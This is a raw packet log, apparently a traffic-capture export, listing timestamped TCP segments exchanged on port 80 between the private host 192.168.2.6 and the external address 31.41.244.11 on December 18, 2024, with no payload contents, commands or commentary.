Dec 18, 2024 11:09:26.635651112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.635694981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.636487961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.636542082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.636579990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.636617899 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.637450933 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.637491941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.637669086 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.637716055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.638467073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.638508081 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.638575077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.638622999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.639467955 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.639508963 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.639585018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.639625072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.640454054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.640506029 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.640551090 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.640592098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.641359091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.641392946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.641433954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.641469955 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.642360926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.642401934 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.642414093 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.642491102 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.643354893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.643388987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.643408060 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.643440962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.644349098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.644393921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.644576073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.644614935 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.645313978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.645356894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.645396948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.645430088 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.646276951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.646320105 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.646383047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.646418095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.647325039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.647361040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.647407055 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.647440910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.648267984 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.648313999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.648370981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.648406982 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.649251938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.649291039 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.649331093 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.649372101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.650234938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.650273085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.650331020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.650366068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.651293039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.651331902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.651410103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.651453018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.652309895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.652349949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.652510881 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.652559042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.653187990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.653220892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.653302908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.653340101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.654227972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.654270887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.654319048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.654357910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.655138016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.655184031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.655221939 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.655255079 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.656198978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.656241894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.656317949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.656352997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.657125950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.657170057 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.657212973 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.657249928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.658097982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.658138990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.658185959 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.658225060 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.659085989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.659126997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.659176111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.659212112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.660027027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.660068989 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.660154104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.660188913 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.661042929 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.661078930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.661178112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.661210060 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.662035942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.662084103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.662126064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.662158012 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.663009882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.663048029 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.663213015 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.663259029 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.663995981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.664031982 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.664145947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.664185047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.664967060 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.665007114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.805257082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.805404902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.805454969 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.805510998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.805768013 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.805855036 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.805949926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.805994034 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.806664944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.806716919 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.806808949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.806973934 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.807753086 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.807843924 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.807871103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.807888985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.808664083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.808790922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.808804989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.809034109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.809598923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.809668064 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.809708118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.809989929 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.810601950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.810801983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.810847998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.810847998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.811598063 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.811670065 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.811809063 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.811872005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.812535048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.812604904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.812638998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.812745094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.813535929 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.813672066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.813692093 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.813733101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.814503908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.814569950 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.814583063 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.814752102 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.815525055 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.815603971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.815651894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.815651894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.816468000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.816587925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.816636086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.816636086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.817446947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.817496061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.817537069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.817626953 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.818449974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.818521023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.818615913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.818962097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.819433928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.819557905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.819581032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.819631100 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.820393085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.820440054 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.820513964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.820631981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.821403027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.821459055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.821499109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.821548939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.822364092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.822454929 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.822491884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.822551966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.823367119 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.823476076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.823506117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.823522091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.824321032 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.824525118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.824528933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.824572086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.825320005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.825371981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.825416088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.825467110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.826292038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.826355934 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.826412916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.826466084 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.827301025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.827399015 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.827420950 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.827462912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.828279018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.828414917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.828459978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.828459978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.829328060 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.829530954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.829648972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.829696894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.830267906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.830357075 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.830368996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.830605984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.831271887 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.831332922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.831473112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.831675053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.832274914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.832371950 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.832525015 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.832623005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.833213091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.833287001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.833322048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.833465099 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.834156036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.834194899 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.834270000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.834625959 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.835134029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.835238934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.835280895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.835280895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.836139917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.836210966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.836244106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.836302996 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.837133884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.837165117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.837209940 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.837893963 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.838098049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.838145971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.838234901 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.838298082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.839068890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.839184046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.839229107 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.839229107 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.840063095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.840107918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.840152979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.840230942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.841044903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.841131926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.841173887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.841173887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.842016935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.842058897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.842068911 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.842325926 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.843041897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.843206882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.843240023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.843287945 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.844017029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.844088078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.844118118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.844422102 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.844968081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.845033884 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.845120907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.845297098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.845946074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.846014023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.846040964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.846132994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.846921921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.846976995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.847004890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.847098112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.847928047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.847974062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.848071098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.848113060 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.849073887 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.849087954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.849137068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.849137068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.849881887 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.849930048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.850009918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.850202084 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.850861073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.850967884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.851007938 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.851008892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.851844072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.851890087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.851934910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.851977110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.852828026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.852932930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.852936029 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.853111029 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.853797913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.853851080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.853885889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.853928089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.854784966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.854832888 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.854984045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.855027914 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.855787039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.855879068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.855915070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.856005907 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.856698036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.856832027 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.997431040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.997450113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.997534990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.997714996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.997761011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.997896910 CET	80	49912	31.41.244.11	192.168.2.6
